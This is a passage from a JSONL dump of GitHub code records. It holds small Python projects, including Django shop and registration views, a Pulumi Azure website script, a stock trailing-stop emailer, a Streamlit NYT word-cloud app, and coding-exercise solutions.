: user_obj.email, \n                                                        \"customer_id\" : user_obj.pk  }}\n                    else:\n                        status_code = 400\n                        context_data = {\"success\": False, \"data\": {\"message\": \"Invalid Password\"}}\n                else:\n                    status_code = 400\n                    context_data = {\"success\": False, \"errors\": {\"message\": \"Invalid Login Credentials\"}}\n\n            else:\n                context_data = {\"success\": False, \"errors\": {\"message\": \"Validation Errors\", \"errors_list\": serializer.errors}}\n                status_code = 400\n        except Exception:\n            status_code = 500\n            logger.info(\"*** CustomerLoginViewSet POST Exception {} ***\".format(traceback.format_exc()))\n            context_data = {\"success\": False, \"errors\": {\"message\": \"Internal Server Error\"}}\n\n        response_data = CustomAPIResponse(**context_data).response\n        logger.info(response_data)\n        logger.info(\"*** CustomerLoginViewSet POST Request Process End ***\")\n        return Response(response_data, status=status_code)\n\n\n\nclass CustomeOrderCreateViewSet(APIView):\n\n    @method_decorator(csrf_exempt)\n    def post(self, request, format=None):\n        logger.info(\"*** CustomeOrderCreateViewSet POST or Update Request Process start ***\")\n        logger.info(request.data)\n        try:\n            serializer = CustomerOrderCreateSerializer(data=request.data)\n            if serializer.is_valid():\n                try:\n                    user_obj = User.objects.get(Q(pk=request.data['customer_id']) & Q(is_active=True))\n                except User.DoesNotExist as e:\n                    user_obj = None\n                if user_obj:\n                    order_obj = Orders.objects.create(user=user_obj, order_date=datetime.now(), amount=request.data['amount'])\n                    for each_item in request.data['items']:\n                        product_obj = Products.objects.get(pk=each_item['item_id'])\n                        OrderProducts.objects.create(order=order_obj, product=product_obj, price=each_item['price'])\n                    shipment_obj = Shipments.objects.all().first()\n                    OrderShipments.objects.create(order=order_obj, shipment_date=datetime.now(), shipment=shipment_obj)\n                    status_code = 200\n                    context_data = {\"success\": True, \"data\": {\"message\": \"Order Created successfully\", \"order_id\" : order_obj.pk, \"shipment_id\" : shipment_obj.pk}}\n                else:\n                    status_code = 400\n                    context_data = {\"success\": False, \"errors\": {\"message\": \"Invalid Customer Id\"}}\n\n            else:\n                context_data = {\"success\": False, \"errors\": {\"message\": \"Validation Errors\", \"errors_list\": serializer.errors}}\n                status_code = 400\n        except Exception:\n            status_code = 500\n            logger.info(\"*** CustomeOrderCreateViewSet POST Exception {} ***\".format(traceback.format_exc()))\n            context_data = {\"success\": False, \"errors\": {\"message\": \"Internal Server Error\"}}\n\n        response_data = CustomAPIResponse(**context_data).response\n        logger.info(response_data)\n        logger.info(\"*** CustomeOrderCreateViewSet POST Request Process End ***\")\n        return Response(response_data, status=status_code)\n\nclass ShipmentDetailsViewSet(APIView):\n    permission_classes = (IsAuthenticated,)\n\n    @method_decorator(csrf_exempt)\n    def post(self, request, format=None):\n        \"\"\"\n        Response\n        {\n            \"shipmentId\": 1234,\n            \"shipmentDate\": \"12-12-2020\",\n            \"ordersList\": [\n                {\n                    \"orderId\": 1,\n                    \"amount\": 123,\n                    \"orderItemsList\": [\n                        {\n                            \"orderItemId\": 1,\n                            \"title\": \"asdf\",\n                            \"price\": 12.50\n                        },\n                        {\n                            \"orderItemId\": 2,\n                            \"title\": \"qwer\",\n                            \"price\": 23.50\n                        },\n                    ]\n                },\n                {\n                    \"orderId\": 2,\n                    \"amount\": 300.00,\n                    \"orderItemsList\": [\n                        {\n                            \"orderItemId\": 3,\n                            \"title\": \"asdf\",\n                            \"price\": 12.50\n                        },\n                        {\n                            \"orderItemId\": 4,\n                            \"title\": \"qwer\",\n                            \"price\": 23.50\n                        },\n                    ]\n                }\n            ]\n        }\n        \"\"\"\n        logger.info(\"*** ShipmentDetailsViewSet POST or Update Request Process start ***\")\n        logger.info(request.data)\n        try:\n            serializer = ShipmentDetailsSerializer(data=request.data)\n            if serializer.is_valid():\n                shipment_order_obj_list = OrderShipments.objects.filter(Q(shipment_id=request.data['shipmentId']))\n                if shipment_order_obj_list.count() > 0:\n                    orders_list = []\n                    shipment_date = None\n                    for each_shipment_order_obj  in shipment_order_obj_list:\n                        shipment_date = each_shipment_order_obj.shipment_date\n                        order_obj = each_shipment_order_obj.order\n                        product_obj_list = OrderProducts.objects.filter(order=order_obj)\n                        item_list = []\n                        for each_item in product_obj_list:\n                            item = {\n                                    \"orderItemId\": each_item.pk,\n                                    \"title\": each_item.product.title,\n                                    \"price\": each_item.price\n                                }\n                            item_list.append(item)\n                        order_item_dict = {\n                        \"orderId\" : order_obj.pk,\n                        \"amount\" : order_obj.amount,\n                        \"orderItemsList\" : item_list\n                        }\n                        orders_list.append(order_item_dict)\n                    shipment_dict = {\n                        \"shipmentId\": request.data['shipmentId'],\n                        \"shipmentDate\": shipment_date,\n                        \"ordersList\" : orders_list\n                    }\n                    context_data = {\"success\": True, \"data\": shipment_dict}\n                    status_code = 200\n\n                else:\n                    status_code = 400\n                    context_data = {\"success\": False, \"errors\": {\"message\": \"No Orders Exist\"}}\n\n            else:\n                context_data = {\"success\": False, \"errors\": {\"message\": \"Validation Errors\", \"errors_list\": serializer.errors}}\n                status_code = 400\n        except Exception:\n            status_code = 500\n            logger.info(\"*** ShipmentDetailsViewSet POST Exception {} ***\".format(traceback.format_exc()))\n            context_data = {\"success\": False, \"errors\": {\"message\": \"Internal Server Error\"}}\n\n        response_data = CustomAPIResponse(**context_data).response\n        logger.info(response_data)\n        logger.info(\"*** ShipmentDetailsViewSet POST Request Process End ***\")\n        return Response(response_data, status=status_code)","repo_name":"eskguptha/eShopOnline","sub_path":"sales/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71359449288","text":"from tkinter import *\nimport time\n\ndef parpadear():\n    root.iconify()\n    time.sleep(3)\n    root.deiconify()\n\nroot = Tk()\nroot.title('Ventana con evento')\nboton = Button(root, text=\"Evento\", command= parpadear)\nboton.pack()\n\nroot.mainloop()\n","repo_name":"adrian273/tkinter_examples","sub_path":"Examples/Example01.py","file_name":"Example01.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"27013087604","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[2]:\n\n\nmarks = {'Andy': 88, 'Amy': 66, 'James': 90, 'Jules': 55, 'Arthur': 77}\nprint(type(marks))\nprint(marks)\n\n\n# In[3]:\n\n\nfor l, n in marks.items():\n    print(l,n)\n\n\n# In[23]:\n\n\nfor n in marks:\n    print (marks[n])\n\n\n# In[21]:\n\n\nmaximum = max(marks.values())\nprint(maximum)\n\n\n# In[20]:\n\n\nminimum = min(marks.values())\nprint(minimum)\n\n\n# In[22]:\n\n\naverage = sum (marks.values()) / len(marks.values())\nprint(average)\n\n\n# In[32]:\n\n\nfor key in marks:\n    if 'J' in key:\n        break\n    else:\n        print(key)\n\n\n# In[33]:\n\n\nfor key in marks:\n    if 'J' in key:\n        pass\n    else:\n        print(key)\n\n\n# In[35]:\n\n\ndef studentname(Name):\n    if Name in marks:\n        print(Name, \"obtained a grade of\", marks[Name])\n    else:\n        print(\"I cannot find\", Name, \"in the list\")\nstudentname(\"Arthur\")\nstudentname(\"Jessica\")\nstudentname(\"James\")\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"mokeke1/1129-Assignment-3","sub_path":"1129 Assignment 3.py","file_name":"1129 Assignment 3.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5700583440","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the superDigit function below.\ndef superDigit(n, k):\n    # n = n\n    while len(n) != 1:\n        sumVal = 0\n        for ch in n:\n            sumVal += int(ch)\n        n = str(sumVal)\n    n = str(int(n)*k)\n    while len(n) != 1:\n        sumVal = 0\n        for ch in n:\n            sumVal += int(ch)\n        n = str(sumVal)\n    return n\n        \nif __name__ == '__main__':\n    fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n    nk = input().split()\n\n    n = nk[0]\n\n    k = int(nk[1])\n\n    result = superDigit(n, k)\n\n    fptr.write(str(result) + '\\n')\n\n    fptr.close()\n","repo_name":"jayaprakash-a/coding-prepation","sub_path":"placement-test/pcpt9/Recursive-Digit-Sum.py","file_name":"Recursive-Digit-Sum.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"35610978580","text":"import pulumi\nfrom pulumi_azure_native import storage\nfrom pulumi_azure_native import resources\n\n# Pulumi code wrapped in function\n\n\ndef PublishWebsite():\n    print('I am publishing something')\n\n    # Create an Azure Resource Group\n    resource_group = resources.ResourceGroup(\"resource_group\")\n\n    # Create an Azure resource (Storage Account)\n    account = storage.StorageAccount('sa',\n                                     resource_group_name=resource_group.name,\n                                     sku=storage.SkuArgs(\n                                         name=storage.SkuName.STANDARD_LRS,\n                                     ),\n                                     kind=storage.Kind.STORAGE_V2)\n\n    # Export the primary key of the Storage Account\n    primary_key = storage.list_storage_account_keys_output(\n        resource_group_name=resource_group.name,\n        account_name=account.name\n    ).keys[0].value\n    pulumi.export(\"primary_storage_key\", primary_key)\n\n    static_website = storage.StorageAccountStaticWebsite(\"staticWebsite\",\n                                                         account_name=account.name,\n                                                         resource_group_name=resource_group.name,\n                                                         index_document=\"index.html\")\n\n    index_html = storage.Blob(\"index.html\",\n                              resource_group_name=resource_group.name,\n                              account_name=account.name,\n                              container_name=static_website.container_name,\n                              source=pulumi.FileAsset(\"index.html\"),\n                              content_type=\"text/html\")\n\n    pulumi.export(\"staticEndpoint\", account.primary_endpoints.web)\n\n\nPublishWebsite()\n","repo_name":"tayaleelin/DevOps","sub_path":"pulumi/azure/quickstart/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22104052899","text":"#!/bin/env python\n\nimport sys\nimport argparse\nimport csv\nimport smtplib\nimport json\nif int(sys.version[0]) < 3:\n    from urllib2 import Request, urlopen\nelse:\n    from urllib.request import Request, urlopen\n\n\ndef yahoo_request(symbol):\n    \"\"\"from https://github.com/cgoldberg/ystockquote/blob/master/ystockquote.py\n    l1 = last trade price: closing price if after 4PM\n    p = previous close: 2 days old if after 4.\n    k = 52 wk high\n    j = 52 wk low\n    \"\"\"\n    url = 'http://finance.yahoo.com/d/quotes.csv?s=%s&f=%s' % (symbol, 'l1')\n    req = Request(url)\n    resp = urlopen(req)\n    content = resp.read().decode().strip()\n    #print(url)\n    #print(content)\n    return float(content)\n\nimport re\ndef google_request2(symbol):\n    url = 'http://finance.google.com/finance?q=%s&' % (symbol)\n    resp = urlopen(url)\n    content = resp.read().decode() #.strip().splitlines()\n    m = re.search('\"price\".*?content=\"(\\d+\\.\\d+)', content, re.DOTALL)\n    #print(content)\n    #print(m)\n    if m:\n        return float(m.group(1))\n    raise LookupError\n\ndef google_request(symbol):\n    \"\"\"See http://www.networkerror.org/component/content/article/\n    1-technical-wootness/44-googles-undocumented-finance-api.html\"\n\n    q - Stock symbol\n    x - Stock exchange symbol on which stock is traded (ex: NASD)\n    i - Interval size in seconds (86400 = 1 day intervals)\n    p - Period. (A number followed by a \"d\" or \"Y\", eg. Days or years. Ex: 40Y = 40 years.)\n    f - What data do you want? d (date - timestamp/interval, c - close, v - volume, etc...) Note: Column order may not match what you specify here\n    df - ??\n    auto - ??\n    ei - ??\n    ts - Starting timestamp (Unix format). If blank, it uses today.\n\n    http://finance.google.com/finance/getprices?q=GOOG&p=1d&f=c\n    \"\"\"\n    url = 'http://finance.google.com/finance/getprices?q=%s&p=1d&f=c' % (symbol)\n    req = Request(url)\n    #print(symbol)\n    #print(url)\n    resp = urlopen(req)\n    content = resp.read() #.decode() #.strip().splitlines()\n    #content = float(re.findall('[\\d.]+', content[6])[0])\n    #print(content)\n    res = content.splitlines()[-1]\n    return float(res)\n\ndef update(l, p):\n    stop = l['stop']\n    stl = stop.split('%')\n    stv = float(stl[0])\n    sgn = stv > 0\n    stv = abs(stv)\n    alert = report = ''\n    low = float(l['low'])\n    high = float(l['high'])\n    sym = l['symbol']\n    v = 0\n    p = max(.001, p) # prevent div by z\n    report = '%6s: %5.1f%%'\n\n    # v value is the sort criteria in percent. \n    # Negatives are good so are listed last.\n    # Positives represent losses and deserve the most attention.\n\n    # trail value is used for consistent sorting\n    if sgn:\n        # stop on price increase - short position\n        # Want to cover the short when the price increases from its low.\n        # so measure the price against the low.\n        v = (p - low)/low*100\n        if v < 0:\n            report += ' below its low.'\n        else:\n            report += ' above its low.'\n    else:\n        # Stop on price decrease - long position.\n        # Sell when price drops below its high. \n        v = (high - p)/high*100\n\n        if v < 0:\n            report += ' above its high.'\n        else:\n            report += ' below its high.'\n\n    if len(stl) > 1:\n        # This is a percent trailing stop\n        if sgn:\n            if v >= stv-1:\n                alert = '%6s: %s stop gain triggered.' % (sym, stop)\n        else:\n            if v >= stv:\n                alert = '%6s: %s stop loss triggered.' % (sym, stop)\n    else:\n        # This is a hard-stop\n        if sgn:\n            # stop in price increase for a short position\n            if p >= stv:\n                alert = '%6s: has exceeded stop price of %.2f.' % (sym, stv)\n        else:\n            # stop on price decrease for a long position\n            if p <= stv:\n                alert = '%6s: has dropped below its stop price of %.2f.' % \\\n                        (sym, stv)\n\n        report += ' $%.2f from hard stop of $%.2f.' % (p-stv, stv)\n\n    report = report % (sym, v)\n\n    l['high'] = max(high, p)\n    l['low'] = min(low, p)\n    return alert, report, v\n\ndef ameritrade_request(apikey, symbols):\n    syms = '%2C'.join(symbols)\n    url = 'https://api.tdameritrade.com/v1/marketdata/quotes?apikey=%s' \\\n          '%%40AMER.OAUTHAP&symbol=%s' % (apikey, syms)\n    req = Request(url)\n    resp = urlopen(req)\n    content = resp.read()\n    d = json.loads(content)\n    closes = [float(d[s]['lastPrice']) for s in symbols]\n    return closes\n\ndef get_quote(sym):\n    #    try:\n        #p = yahoo_request(sym.split(':')[-1])\n    #except:\n    #    print('Yahoo request failed.' % sym)\n    try:\n        p = google_request(sym)\n    except:\n        print('%s first Google request failed' % sym)\n        try:\n            p = google_request2(sym)\n        except:\n            print('%s second Google request failed' % sym)\n            return -1\n    return p\n\ndef update_all(folio):\n    alerts = ''\n    reports = []\n    d = {}\n    for l in folio:\n        p = get_quote(l['symbol'])\n        if p < 0:\n            alert = ''\n            report = '%s Failed lookup' % (l['symbol'])\n            sortval = 0\n        else:\n            alert, report, sortval = update(l, p)\n        if alert:\n            alerts += alert + '\\n'\n        d[report] = -sortval\n        reports.append(report)\n    reports = sorted(reports, key = lambda r : d[r])\n    reports = '\\n'.join(reports)\n    return alerts, reports\n\ndef update_all_ameritrade(folio, apikey):\n    alerts = ''\n    reports = []\n    d = {}\n    symbols = [l['symbol'] for l in folio]\n    prices = ameritrade_request(apikey, symbols)\n    for l,p in zip(folio, prices):\n        print(l['symbol'], p)\n        alert, report, sortval = update(l, p)\n        if alert:\n            alerts += alert + '\\n'\n        d[report] = -sortval\n        reports.append(report)\n    reports = sorted(reports, key = lambda r : d[r])\n    reports = '\\n'.join(reports)\n    return alerts, reports\n\ndef start(f, default_stop):\n    \"\"\"Yahoo puts symbol as first field.  Price as second.\n    Rest doesn't matter.\n    \"\"\"\n    folio = []\n    for l in csv.reader(f):\n        p = max(float(l[1]), .001)\n        folio.append(dict(symbol = l[0], high = p, low = p, \n                          stop = default_stop))\n    return folio\n\ndef merge(master, new):\n    s = set()\n    for l in master:\n        s.add(l['symbol'])\n    for l in new:\n        if l['symbol'] not in s:\n            master.append(l)\n\ndef write(f, folio):\n    w = csv.DictWriter(f, ['symbol', 'high', 'low', 'stop'])\n    w.writeheader()\n    w.writerows(folio)\n\ndef read(f):\n    folio = []\n    for l in csv.DictReader(f):\n        folio.append(l)\n    return folio\n\ndef send(serv, addr, passw, subj, text):\n    server = smtplib.SMTP(serv)\n    server.starttls()\n    server.login(addr, passw)\n    server.sendmail(addr, addr, 'Subject: %s\\n\\n%s' % (subj, text))\n    server.quit()\n\nif __name__ == '__main__':\n\n    parser = argparse.ArgumentParser(\n            description='Initialize or update stop loss csv files and mail '\n                        'report.',\n            )\n    parser.add_argument('-i', '--start', default = False,\n            help = \"\"\"Use this to initialize quotes from a yahoo or empty\n            portfolio.  Anything not already in the portfolio is added to it '\n            With a default stop and last price  as high/low\"\"\");\n    parser.add_argument('-f', '--folio', default = 'folio.csv',\n            help = \"\"\"Your portfolio CSV file. Initialize this file or add to it\n            using --start option.  Edit it by hand to maintain your stop\n            losses\"\"\")\n    parser.add_argument('-s', '--default_stop', default = '-20%',\n            help = \"\"\"Default stop loss.  Used only with --start when\n            initializing.\"\"\")\n    parser.add_argument('-t', '--smtp', default = 'smtp.gmail.com:587',\n            help = 'SMTP server to receive the report.')\n    parser.add_argument('-a', '--addr', default = False,\n            help = 'The mail address that receives the report. If not provided '\n                   'the report goes to stdout in plain text.')\n    parser.add_argument('-p', '--passw', default = False,\n            help = 'SMTP send password.')\n    parser.add_argument('-k', '--apikey', default = None,\n            help = 'TD Ameritrade API Key for quote requests.')\n    args = parser.parse_args()\n\n    try:\n        f = open(args.folio)\n        folio = read(f)\n        f.close()\n    except IOError:\n        folio = []\n        if args.start == False:\n            # when initializing from a yahoo like portfolio folio.csv is not\n            # necessary\n            sys.stderr.write('Unable to open [%s] for reading.\\n' % args.folio)\n            sys.exit(1)\n\n    if args.start:\n        f = open(args.start)\n        new = start(f, args.default_stop)\n        merge(folio, new)\n        f.close()\n\n    if args.apikey:\n        alerts, reports = update_all_ameritrade(folio, args.apikey)\n    else:\n        alerts, reports = update_all(folio)\n\n    f = open(args.folio, 'w')\n    write(f, folio)\n    f.close()\n\n    report = 'ALERTS:\\n%s\\n\\nREPORTS:\\n%s\\n' % (alerts or 'NONE', reports)\n\n    if args.addr and args.passw:\n        subj = '%sTrail Stop Portfolio Report' % (alerts and '[ALERTS]' or '')\n        send(args.smtp, args.addr, args.passw, subj, report)\n    else:\n        sys.stdout.write(report)\n\n       \n\n","repo_name":"bgibbs/trailstop","sub_path":"trailstop.py","file_name":"trailstop.py","file_ext":"py","file_size_in_byte":9350,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"70127686729","text":"import streamlit as st\nimport wordcloud\nimport matplotlib.pyplot as plt\nimport requests\nimport main_functions\nimport pandas as pd\nimport plotly.express as px\nfrom nltk import sent_tokenize\nfrom nltk import word_tokenize\nfrom nltk.probability import FreqDist\nfrom nltk.corpus import stopwords\nfrom wordcloud import WordCloud\n\napi_key_dict = main_functions.read_from_file(\"JSON_Files/api_key.json\")\napi_key = api_key_dict[\"my_key\"]\n\n# url = \"https://api.nytimes.com/svc/topstories/v2/travel.json?api-key=\" + api_key\n\nst.title(\"COP4813 - Web Application Programming\")\nst.title(\"Project #1\")\n\nst.header(\"Part A\")\nst.subheader(\n    \"This app used the Top Stories API to display the most common words used in the top current articles based on a \"\n    \"specified topic selected by the user. The data is displayed as a line chart and as a wordcloud image.\")\n\nst.header(\"I - Topic Selection\")\nuser_input = st.text_input(\"Please enter your name\")\noption = st.selectbox(\"Please select a topic\",\n                      [\"\", \"arts\", \"automobiles\", \"books\", \"business\", \"fashion\", \"food\", \"health\", \"home\", \"insider\",\n                       \"magazine\", \"movies\", \"nyregion\", \"obituaries\", \"opinion\", \"politics\",\n                       \"realestate\", \"science\", \"sports\", \"sundayreview\", \"technology\", \"theater\",\n                       \"t-magazine\", \"travel\", \"upshot\", \"us\", \"world\"])\n\nif user_input and option:\n    st.write(\"Hi \" + user_input + \", you selected the \" + option + \" topic.\")\n\n    st.header(\"II - Frequency Distribution\")\n\n    agree = st.checkbox(\"Click here to generate frequency distribution.\")\n    if agree:\n\n        new_url = \"https://api.nytimes.com/svc/topstories/v2/\" + option + \".json?api-key=\" + api_key\n\n        response = requests.get(new_url).json()\n        main_functions.save_to_file(response, \"JSON_Files/response.json\")\n\n        my_articles = main_functions.read_from_file(\"JSON_Files/response.json\")\n\n        str1 = \"\"\n\n        for i in my_articles[\"results\"]:\n            str1 = str1 + i[\"abstract\"]\n\n        # sentences = sent_tokenize(str1)\n        words = word_tokenize(str1)\n        fdist = FreqDist(words)\n        words_no_punc = []\n\n        for w in words:\n            if w.isalpha():\n                words_no_punc.append(w.lower())\n\n        fdist2 = FreqDist(words_no_punc)\n\n        stopwords_ = stopwords.words(\"english\")\n\n        clean_words = []\n\n        for w in words_no_punc:\n            if w not in stopwords_:\n                clean_words.append(w)\n\n        fdist3 = FreqDist(clean_words)\n\n        most_common = pd.DataFrame(fdist3.most_common(10))\n        df = pd.DataFrame({\"words\": most_common[0], \"count\": most_common[1]})\n        fig = px.line(df, x=\"words\", y=\"count\", title='')\n        st.plotly_chart(fig)\n\n        wordcloud = WordCloud().generate(str1)\n        st.subheader(\"III - Wordcloud\")\n        agree = st.checkbox(\"Click here to generate wordcloud.\")\n        if agree:\n            st.image(wordcloud.to_array())\n\n\nst.header(\"Part B - Most Popular Articles\")\n\nst.write(\"Select if you want to see the most shared, emailed or viewed articles.\")\noption2 = st.selectbox(\"Select your preferred set of articles.\",\n                       [\"\", \"Shared\", \"Emailed\", \"Viewed\"])\n\noption3 = st.selectbox(\"Select the period of time (last days).\",\n                       [\"\", \"1\", \"7\", \"30\"])\n\nbase_url = \"https://api.nytimes.com/svc/mostpopular/v2/\"\n\nif option2 and option3:\n    wordcloud_two = WordCloud().generate(str1)\n    st.image(wordcloud_two.to_array())\n","repo_name":"Gomansa/Web-App-Programming-Project-1","sub_path":"Project_1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14398518406","text":"from django import forms\nimport os\n\nVALID_EXTENSIONS = ['.csv']\n\n\nclass UploadFileForm(forms.Form):\n    file = forms.FileField(\n        label='アップロードファイル',\n    )\n\n    def clean_file(self):\n        file = self.cleaned_data['file']\n        extension = os.path.splitext(file.name)[1] # 拡張子を取得\n        if not extension.lower() in VALID_EXTENSIONS:\n            raise forms.ValidationError('csvファイルを選択してください！')\n","repo_name":"kzmrt/graph","sub_path":"monitor/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"15765527797","text":"from lib import load_input\n\n\ndef solve(data, part=1):\n    lines = data.splitlines()\n    if part == 1:\n        return part_one(lines)\n    elif part == 2:\n        return part_two(lines)\n\n\ndef part_one(data):\n    result = 0\n    x = 1\n    cycle = 0\n    for line in data:\n        if line == \"noop\":\n            cycle += 1\n            result += check_update(cycle, x)\n        else:\n            cycle += 1\n            result += check_update(cycle, x)\n            cycle += 1\n            result += check_update(cycle, x)\n            x += int(line.split(\" \")[1])\n\n    return result\n\ndef check_update(cycle, x):\n    if cycle % 40 == 20:\n        return x * cycle\n    else:\n        return 0\n\ndef part_two(data):\n    result = []\n    x = 1\n    cycle = 0\n    cur = \"\"\n    for line in data:\n        if line == \"noop\":\n            cur += draw(x, cycle)\n            cycle += 1\n            if len(cur) == 40:\n                result.append(cur)\n                cur = \"\"\n                cycle = 0\n        else:\n            cur += draw(x, cycle)\n            cycle += 1\n            if len(cur) == 40:\n                result.append(cur)\n                cur = \"\"\n                cycle = 0\n            cur += draw(x, cycle)\n            cycle += 1\n            if len(cur) == 40:\n                result.append(cur)\n                cur = \"\"\n                cycle = 0\n            x += int(line.split(\" \")[1])\n    return result\n\n\ndef draw(x, cycle):\n    if abs(x - cycle) <= 1:\n        return \"#\"\n    else:\n        return \".\"\n\n\nif __name__ == \"__main__\":\n    print(solve(load_input(\"small\")))\n    print(solve(load_input()))\n    for x in solve(load_input(), 2):\n        print(x)\n","repo_name":"NathalieVanDeWerken/aoc2022","sub_path":"days/day10.py","file_name":"day10.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34129165368","text":"#Rechnungen mit verschiedenen Operatoren mit Def Funktion\n\n#Import\nimport time\nimport random\nrandom.seed()\n\n#Funktion\ndef tryexcept():\n    answer = False\n    while answer == False:\n        try:\n            rueckgabe=int(input())\n            return rueckgabe\n            answer = True\n        except:\n            print(\"Bitte geben Sie eine ganze Zahl ein!!!\")\n            time.sleep(2)\n            answer = False\n\n#Variablen\nkorrekt = 0\nversuch = 0\n\n#Loop\nwhile versuch <10:\n    a=random.randint(10,20)\n    b=random.randint(1,10)\n    f=random.randint(1,3)\n    c=a-b\n    d=a*b\n    e=a+b\n    print(\"Rechnen Sie bitte folgendes aus:\")\n    if f == 1:\n        print(a,'-',b)\n        \n        antwort = tryexcept()\n        \n        if antwort==int(c):\n            print(\"Bravo, korrektes Ergebnis\")\n            korrekt = korrekt + 1\n            versuch = versuch + 1\n        else:\n            print(\"Falsche Anwort - Korrekt wäre:\" ,c)\n            versuch = versuch + 1\n            \n    if f == 2:\n        print(a,'x',b)\n        \n        antwort = tryexcept()\n        \n        if antwort==int(d):\n            print(\"Bravo, korrektes Ergebnis\")\n            korrekt = korrekt + 1\n            versuch = versuch + 1\n        else:\n            print(\"Falsche Anwort - Korrekt wäre:\" ,d)\n            versuch = versuch + 1\n\n    if f == 3:\n        print(a,'+',b)\n        \n        antwort = tryexcept()\n        \n        if antwort==int(e):\n            print(\"Bravo, korrektes Ergebnis\")\n            korrekt = korrekt + 1\n            versuch = versuch + 1\n        else:\n            print(\"Falsche Anwort - Korrekt wäre:\" ,e)\n            versuch = versuch + 1\n\nprint(\"Sie haben 10 Aufgaben durch.\")\nprint(\"Korrekt gelöst:\", korrekt)\nprint()\ninput(\"Bitte drücken Sie die Eingabetaste (Enter), um das Programm zu schliessen: \")","repo_name":"SimonWeberSantos/Python-Math","sub_path":"Rechnungsaufgaben_ohne_Disvision.py","file_name":"Rechnungsaufgaben_ohne_Disvision.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7648008949","text":"from django.http import Http404\nfrom rest_framework import serializers, status\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.permissions import AllowAny\nfrom rest_framework.response import Response\n\nfrom rest_registration import signals\nfrom rest_registration.api.views.login import perform_login\nfrom rest_registration.decorators import (\n    api_view_serializer_class,\n    api_view_serializer_class_getter\n)\nfrom rest_registration.exceptions import BadRequest\nfrom rest_registration.notifications import send_verification_notification\nfrom rest_registration.settings import registration_settings\nfrom rest_registration.utils.responses import get_ok_response\nfrom rest_registration.utils.users import (\n    get_user_by_verification_id,\n    get_user_setting,\n    get_user_verification_id\n)\nfrom rest_registration.utils.verification import verify_signer_or_bad_request\nfrom rest_registration.verification import URLParamsSigner\n\n\nclass RegisterSigner(URLParamsSigner):\n    SALT_BASE = 'register'\n    USE_TIMESTAMP = True\n\n    def get_base_url(self):\n        return registration_settings.REGISTER_VERIFICATION_URL\n\n    def get_valid_period(self):\n        return registration_settings.REGISTER_VERIFICATION_PERIOD\n\n    def _calculate_salt(self, data):\n        if registration_settings.REGISTER_VERIFICATION_ONE_TIME_USE:\n            user = get_user_by_verification_id(\n                data['user_id'], require_verified=False)\n            # Use current user verification flag as a part of the salt.\n            # If the verification flag gets changed, then assume that\n            # the change was caused by previous verification and the signature\n            # is not valid anymore because changed user verification flag\n            # implies changed salt used when verifying the input data.\n            verification_flag_field = get_user_setting(\n                'VERIFICATION_FLAG_FIELD')\n            verification_flag = getattr(user, verification_flag_field)\n            salt = '{self.SALT_BASE}:{verification_flag}'.format(\n                self=self, verification_flag=verification_flag)\n        else:\n            salt = self.SALT_BASE\n        return salt\n\n\n@api_view_serializer_class_getter(\n    lambda: registration_settings.REGISTER_SERIALIZER_CLASS)\n@api_view(['POST'])\n@permission_classes([AllowAny])\ndef register(request):\n    '''\n    Register new user.\n    '''\n    serializer_class = registration_settings.REGISTER_SERIALIZER_CLASS\n    serializer = serializer_class(\n        data=request.data,\n        context={'request': request},\n    )\n    serializer.is_valid(raise_exception=True)\n\n    kwargs = {}\n\n    if registration_settings.REGISTER_VERIFICATION_ENABLED:\n        verification_flag_field = get_user_setting('VERIFICATION_FLAG_FIELD')\n        kwargs[verification_flag_field] = False\n        email_field = get_user_setting('EMAIL_FIELD')\n        if (email_field not in serializer.validated_data\n                or not serializer.validated_data[email_field]):\n            raise BadRequest(\"User without email cannot be verified\")\n\n    user = serializer.save(**kwargs)\n\n    signals.user_registered.send(sender=None, user=user, request=request)\n    output_serializer_class = registration_settings.REGISTER_OUTPUT_SERIALIZER_CLASS  # noqa: E501\n    output_serializer = output_serializer_class(\n        instance=user,\n        context={'request': request},\n    )\n    user_data = output_serializer.data\n\n    if registration_settings.REGISTER_VERIFICATION_ENABLED:\n        signer = RegisterSigner({\n            'user_id': get_user_verification_id(user),\n        }, request=request)\n        template_config = (\n            registration_settings.REGISTER_VERIFICATION_EMAIL_TEMPLATES)\n        send_verification_notification(user, signer, template_config)\n\n    return Response(user_data, status=status.HTTP_201_CREATED)\n\n\nclass VerifyRegistrationSerializer(serializers.Serializer):\n    user_id = serializers.CharField(required=True)\n    timestamp = serializers.IntegerField(required=True)\n    signature = serializers.CharField(required=True)\n\n\n@api_view_serializer_class(VerifyRegistrationSerializer)\n@api_view(['POST'])\n@permission_classes([AllowAny])\ndef verify_registration(request):\n    \"\"\"\n    Verify registration via signature.\n    \"\"\"\n    user = process_verify_registration_data(\n        request.data, serializer_context={'request': request})\n    signals.user_activated.send(sender=None, user=user, request=request)\n    extra_data = None\n    if 